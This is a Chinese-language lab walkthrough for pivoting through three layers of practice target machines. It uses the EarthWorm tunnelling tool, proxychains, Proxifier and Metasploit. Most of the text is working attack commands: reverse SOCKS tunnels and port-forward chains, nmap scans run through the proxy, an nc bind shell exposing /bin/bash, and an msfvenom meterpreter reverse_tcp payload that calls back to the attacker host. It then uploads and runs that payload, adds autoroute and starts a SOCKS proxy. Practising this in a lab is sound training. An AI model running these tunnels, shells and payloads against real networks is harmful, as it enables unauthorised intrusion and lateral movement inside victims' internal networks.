kali攻击机ip:10.177.228.200
新增一个桥接的网卡:
vim /etc/network/interfaces
auto enth1
iface eth1 inet static
address 10.177.228.200
netmask 255.255.255.0
gateway 10.177.228.253
/etc/init.d/networking restart
一层靶机a_ip:10.177.228.176,一层内网ip:192.168.1.2
二层靶机b_ip:192.168.1.8 二层内网ip:192.168.17.71
三层靶机c_ip:192.168.17.8
纯粹练习ew代理穿透,所以每台靶机均开放ssh远程登录权限。
-l 指定要监听的本地端口
-d 指定要反弹到的机器 ip
-e 指定要反弹到的机器端口
-f 指定要主动连接的机器 ip
-g 指定要主动连接的机器端口
-t 指定超时时长,默认为 1000
1.下载ew工具,修改执行权限:
git clone git://github.com/idlefire/ew
cd ew
chmod +x *
2.首先,明确目标:第一层靶机a外网网段和kali机相同,先ssh远程登录到第一层靶机,上传ew_linux_x64工具:
scp -p ew_for_linux64 /tmp
3.其次,需要修改socks5的端口配置,使通过proxychains启动的软件都是走kali的1084端口:
vim /etc/proxychains4.conf //修改配置
Socks5 127.0.0.1 1084 //配置kali的代理设置
4.现在使用ew做反向代理,起一个连接隧道,连接第一层靶机,在kali上执行ew命令:
./ew_for_linux64 -s rcsocks -l 1084 -e 6004 -t 1000000 //监听本机的1084端口转发到本地6004端口上
5.ssh远程连接到第一层靶机的外网IP,通过socks隧道连接公网IP的6004端口(-t是为了避免连接中断,因为最开始使用msf反弹,连接上马上就中断了)
该命令表示:在一层靶机a本地开启 socks 5服务,并反弹到 kali 的 6004端口,如果代理建立成功,在 kali 端就会看到 rssocks cmd_socket OK! 的提示。 // setsid为放在后台运行
setsid ./ew_for_linux64 -s rssocks -d 10.177.228.200 -e 6004 -t 1000000
6.在kali机上返回ok字样,表示隧道建立。此时用kali自带的proxychains工具扫描ip,扫描第二层靶机的内网ip为:192.168.1.8,对该ip进行端口扫描,发现开启了22端口:
proxychains nmap -sP 192.168.1.0/24
proxychains nmap -Pn -sT -F 192.168.1.8
6.此时目标,访问二层靶机ip为192.168.1.8,并且上传ew工具,所以使用finalshell工具进行连接比较方便,由于网段不通,因此需要为finalshell工具设置代理。
7.此时打开proxifier代理工具,选择proxyservers配置代理服务,新建一条代理路径,端口为1084:
7.对配置进行检查:
8.然后选择proxification rules,添加finalshell工具的代理,并设置目标主机为全网段:
9.配置好之后选择ew的action为socks5,default为direct:
10.完成配置之后,使用finalshell连接上192.168.1.8二层靶机b,上传ew工具:
1.穿透第一层的目的,主要为了上传ew工具,进行第二层靶机渗透。
2.第二层靶机渗透需要继续从kali进行穿透:
./ew_for_linux64 -s rcsocks -l 1083 -e 6003 -t 1000000
3.使用finalshell远程连接一层靶机:192.168.228.176,在一层目标靶机上执行:
第一条命令表示:在一层靶机a上使用 lcx_slave 的方式,将kali的6003端口和本地的6005端口连接起来。
第二条命令表示:监听6005端口收到的来自6006端口的数据
setsid ./ew_for_linux64 -s lcx_slave -d 10.177.228.200 -e 6003 -f 127.0.0.1 -g 6005 -t 1000000 //设置跳转6005端口
setsid ./ew_for_linux64 -s lcx_listen -l 6005 -e 6006 -t 1000000
4.使用finalshell连接二层靶机192.168.1.8,执行命令:
setsid ./ew_for_linux64 -s rssocks -d 192.168.1.2 -e 6006 -t 1000000 //启动socks5服务,并反弹到一层靶机a的6006端口上
5.此时就建立起了攻击机kali和第二层靶机的隧道,因为二层靶机b有三层靶机c的内网ip可以直接设置代理进入第三层靶机。
1.修改proxychains配置,socks5端口改为1083(因为进入第二层靶机的起点为1083):
vim /etc/proxychains4.conf
2.同样,要使用finalshell连接,先添加proxifier代理和规则,选择default走1083端口:
3.使用finalshell成功连接第三层靶机:192.168.17.8,此时需要反弹一个正向shell,到kali机:
1)使用nc瑞士军刀进行反弹:
nc -lvp 5555 -e /bin/bash
4.在kali上进行代理连接,并生成交互式shell:
proxychains nc 192.168.17.8 5555
python -c 'import pty;pty.spawn("/bin/bash")'
下面说一下metasploit生成反向shell,连接第一层靶机的方法:
适用于只需要穿透一层内网的情况:
1.msf生成木马:
cd /usr/share/metasploit-framework
./msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.177.228.200 LPORT=1234 -f elf > /home/lo.elf
3.远程连接到第一层靶机,上传生成的木马lo.elf文件到第一层靶机:
scp -p lo.elf [email protected]:/tmp
4.在kali上启动msfconsole,使用反弹shell的模块进行监听进行攻击:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.177.228.200
set Lport 1234
run
5.在远程到的一层靶机上,执行木马程序
chmod 777 lo.elf
./lo.elf
6.成功反弹shell,ifconfig发现有两个网卡,所以添加一条该网段的内网路由:
run autoroute -s 10.177.228.0/24
7.设置代理:
search socks
use auxiliary/server/socks_proxy
show options
run
8.成功反弹meterpreter终端,进入一层内网。